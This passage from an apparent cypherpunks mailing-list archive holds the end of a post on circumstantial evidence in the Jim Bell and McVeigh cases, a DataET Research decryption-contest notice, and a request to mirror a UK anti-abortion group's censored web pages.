commited a certain crime, instead of those "proven" to have commited the crime. I have no doubt that the government could replicate much of the evidence against Jim Bell in a similar case against more than a few cypherpunks, as well as producing even stronger evidence of a similar nature in a full investigation of us. Anonymous and Nobody would be in big, big trouble. In McVeigh's case, I wonder how many others the government could find similar or stronger evidence against in the OKC crime? Regardless of the answer to that question, it is McVeigh who is the one prosecutors are pointing at when they put up yet another picture of dead bodies and say that "somebody has to pay" for the crime. TruthMonger {Who has been proven to be Kent Crispin, by a plethora of circumstantial evidence.}

1 0

Decryption Contest Details (Updated)
by DataET Research 17 Dec '03

17 Dec '03

Host: DataET Research (http://www.dataet.com) Contest expiration date: July 1st, 1997 Encrypted file location: http://www.dataet.com/public/source/vsacmv20/crackit.dat Applied encryption algorithm: VSA2048 Encryption algorithm source code: http://www.dataet.com/public/source/vsacmv20/ Applied key size: 120 bits (15 bytes) Key byte value range: 0 to 255 (decimal), 00 to FF (hexadecimal) Encrypted (secured) file size: 50,000 bytes (binary, Intel) Decrypted (unsecured) file size: 50,000 bytes (binary, Intel) Key and message post location: cypherpunks(a)toad.com Contact: info(a)dataet.com Limitations: U.S. residents only Prize: Two free basic Web site packages and $200.00 U.S.

1 0

Censored pages
by root 17 Dec '03

17 Dec '03

Message to prolife alliance, CCd to Cypherpunks list: I noticed an article in .net a few days ago detailing how the prolife alliance, a UK anti-abortion group, had been required to remove images of aborted foetuses <sp?> from their web site. Clearly this is another incident of jackbooted motherfuckers censoring images that happen to contradict their particular brand of thuggery. I am sending this message to the prolife alliance to ask them to send a .zip or .tar`d file of their pages to me along with the censored images, I am also of course CCing this to cypherpunks to see if anyone out there not in the UK is also interested in mirroring these pages, if so send me email, or send direct to prolife(a)enterprise.net, who will, hopefully, provide us with a copy of these pages. Note please cypherpunks that if there is any thread I do not wish to start it is a pro/anti abortion thread, therefore, I am making no judgements whatsoever, merely suggesting action to prevent censorship... Datacomms Technologies data security Paul Bradley, Paul(a)fatmans.demon.co.uk Paul(a)crypto.uk.eu.org, Paul(a)cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey"

2 1